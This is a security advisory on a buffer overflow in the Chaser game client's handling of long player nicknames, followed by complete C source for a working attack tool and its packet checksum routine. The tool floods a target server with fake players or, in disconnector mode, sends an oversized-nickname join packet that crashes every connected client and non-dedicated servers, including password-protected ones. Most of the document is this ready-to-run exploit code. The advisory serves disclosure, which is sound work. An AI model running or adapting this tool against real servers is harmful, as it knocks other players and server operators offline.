Chaser Nickname Buffer OverflowSummary
Chaser is "a first person shooter developed by Cauldron".
A buffer-overflow vulnerability has been found to affect the Chaser clients and happens when the client handles a big nickname of a player that has joined the server.
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/chasercool-adv.txt
Details
Vulnerable Systems:
* Chaser version 1.50 and prior
The problem is fully exploitable if the attacker controls a malicious server but the most cool exploitation happens when an attacker joins the server using a player with a big name.
The interesting thing in this case is that the packet used to join has a sign ("miso") located just (really unlucky) where the return address of the bugged function is overwritten. In short an attacker cannot exploit this bug to execute remote code but he will be able to crash immediately any client attached to the server he joins.
When the server runs in game mode (so not dedicated) it will crash too just because in reality it is server and client at the same time.
Another interesting thing related to the second type of attack is that is possible to exploit the vulnerability also versus servers protected by password without knowing the real keyword, while can be made nothing if the server is full.
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/fakep/chaserfp.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "chaser_crc.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 3000
#define BUFFSZ 2048
#define TIMEOUT 3
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);
void show_info(u_char *data);
int create_rand_string(u_char *data, int len, u_int tmp);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
float gameproto = 1.18;
int sd,
i,
len,
on = 1,
disconnector = 0;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
pck[] =
"\x00"
"\x00\x00" // checksum
"\x00\x00\xFF"
"\x00\x00" // packet size - 14
"\x00\x00\x00\x00\x00\x00"
"\xff\xff\xff\xff" // IP
"\xff" // nickname (oversized!!!)
"012345678901234567890123456789"
"0123456789012345678901234567890123"
"miso\0"
"\xff\xff\xff\xff" // Game protocol version
"\x0D\xF0\xAD\x0B"; // BADF00D
setbuf(stdout, NULL);
fputs("\n"
"Chaser Fake Players DoS and clients disconnector "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host>\n"
"\n"
"Options:\n"
"-p PORT server port, default is %d\n"
"-g VER game protocol version, default is %f. Use 0.995 for the demo\n"
"-d exploits a nickname buffer-overflow in version <= 1.50 that lets an\n"
" attacker to overwrite the return address of any connected client\n"
" with 0x%08lx (or similar)\n"
" The return address is fixed because the game protocol uses fixed sizes\n"
" so code execution is not possible (at least with this method)\n"
"\n"
" Note: works also versus servers protected by password without knowing the\n"
" right keyword!\n"
"\n", argv[0], port, gameproto, *(u_long *)"miso");
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'g': gameproto = atof(argv[++i]); break;
case 'd': disconnector = 1; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
} break;
}
}
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND("\\status\\");
RECV;
close(sd);
buff[len] = 0x00;
show_info(buff);
seed = ~time(NULL);
printf("- use game protocol %f\n", gameproto);
*(float *)(pck + sizeof(pck) - 9) = gameproto;
for(;;) {
for(;;) {
fputs("\n Player: ", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
if(!disconnector) {
seed = create_rand_string(pck + 19, 63, seed);
pck[18] = strlen(pck + 19);
} else {
memset(pck + 19, 'a', 64);
pck[18] = 0xff;
}
*(u_short *)(pck + 6) = sizeof(pck) - 15;
*(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);
SEND(pck);
if(timeout(sd) < 0) {
SEND(pck); // resend
}
RECV;
close(sd);
if(buff[4] == 0xff) {
if(buff[18] == 1) break;
if(buff[18] == 3) {
fputs("\nError: the server uses a version not supported by this tool\n\n", stdout);
} else {
fputs("\nError: bad reply from server, unknown error\n\n", stdout);
}
exit(1);
}
}
fputs(" - server full", stdout);
sleep(ONESEC);
}
return(0);
}
void show_info(u_char *data) {
int nt = 1;
u_char *p;
while((p = strchr(data, '\\'))) {
*p = 0x00;
if(!nt) {
printf("%20s: ", data);
nt++;
} else {
printf("%s\n", data);
nt = 0;
}
data = p + 1;
}
printf("%s\n\n", data);
}
int create_rand_string(u_char *data, int len, u_int tmp) {
if(!tmp) tmp++;
len = tmp % len;
if(!len) len++;
while(len--) {
tmp = (*data + tmp) % 62;
if(tmp <= 9) {
*data = tmp + '0';
} else if((tmp >= 10) && (tmp <= 35)) {
*data = (tmp - 10) + 'A';
} else {
*data = (tmp - 36) + 'a';
}
data++;
}
*data = 0x00;
return(tmp << 1);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
chaser_crc.h:
/*
Chaser checksum calculator 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org
This function calculates the 16bit checksum of the packets used
in the game Chaser http://www.chasergame.com/
A Chaser packet is composed as the following:
00 a1 c7 61 61 61 61
| | |
| | data
| 16bit checksum of data (little endian)
first byte (NULL)
LICENSE
-======
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
http://www.gnu.org/licenses/gpl.txt
*/
unsigned short chaser_crc(unsigned char *data, int len) {
unsigned short ax = 0;
for(; len; len--, data++) {
ax = *data ^ ((ax<<8)|(ax>>8));
ax ^= (ax & 0xff) >> 4;
ax ^= ax << 0xc;
ax ^= (ax & 0xff) << 5;
}
return(ax);
}